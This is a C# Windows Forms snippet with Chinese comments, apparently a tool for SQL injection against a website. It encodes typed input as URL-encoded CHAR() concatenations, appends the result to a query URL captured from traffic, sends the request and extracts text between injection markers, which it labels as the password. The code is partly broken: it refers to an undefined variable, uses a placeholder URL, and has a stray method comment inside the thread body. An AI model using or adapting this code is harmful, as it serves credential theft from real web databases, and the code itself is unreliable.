using CsharpHttpHelper; //调用第三方库 using System.Threading; // 引用线程 using CsharpHttpHelper.Enum;
namespace WindowsFormsApp1444 { public partial class Form1 : Form { public Form1() { InitializeComponent(); CheckForIllegalCrossThreadCalls = false; // 防卡死 }
private void button4_Click(object sender, EventArgs e) { Thread obj = new Thread(new ThreadStart(delegate { HttpHelper http = new HttpHelper(); string str4 = textBox1.Text.Trim(); string upwd; TextBox text = new TextBox(); byte[] array = System.Text.Encoding.ASCII.GetBytes(str4);
string ASCIIstr4 = null; for (int i = 0; i < array.Length; i++) { int asciicode = (int)(array[i]); ASCIIstr4 = Convert.ToString(asciicode); text.AppendText("CHAR%28" + ASCIIstr4 + "%29%2B"); } string poc4 = text.Text; //textBox2.AppendText(poc3);//测试转码是否成功 string url4 = "url,可以通过抓包抓到查询的那个url。然后拼接" + poc +" "; url4 = url4.Replace("%29%2B%29", "%29%29"); //textBox2.AppendText(url); HttpItem item = new HttpItem()
{ URL = url4,//URL 必需项 Method = "GET",//URL 可选项 默认为Get Timeout = 100000,//连接超时时间 可选项默认为100000 ReadWriteTimeout = 30000,//写入Post数据超时时间 可选项默认为30000 IsToLower = false,//得到的HTML代码是否转成小写 可选项默认转小写 Cookie = "",//字符串Cookie 可选项 UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0",//用户的浏览器类型,版本,操作系统 可选项有默认值 Accept = "text/html, application/xhtml+xml, */*",// 可选项有默认值 ContentType = "text/html",//返回类型 可选项有默认值 Referer = "",//来源URL 可选项 Allowautoredirect = false,//是否根据301跳转 可选项 AutoRedirectCookie = false,//是否自动处理Cookie 可选项 //CerPath = "d:\123.cer",//证书绝对路径 可选项不需要证书时可以不写这个参数 //Connectionlimit = 1024,//最大连接数 可选项 默认为1024 Postdata = "",//Post数据 可选项GET时不需要写 //ProxyIp = "192.168.1.105:2020",//代理服务器ID 可选项 不需要代理 时可以不设置这三个参数 //ProxyPwd = "123456",//代理服务器密码 可选项 //ProxyUserName = "administrator",//代理服务器账户名 可选项 ResultType = ResultType.String,//返回数据类型,是Byte还是String }; HttpResult result = http.GetHtml(item); string html = result.Html; string cookie = result.Cookie; //qkkbq7995qkpbq upwd = HttpHelper.GetBetweenHtml(result.Html, "qbqqq", "qqjjq"); textBox2.AppendText("密码为:" + upwd + "\r\n");
/// <summary> /// 字节数组生成图片 /// </summary> /// <param name="Bytes">字节数组</param> /// <returns>图片</returns> })); // 事件委托,防止卡死 obj.Start(); // 启动线程 } |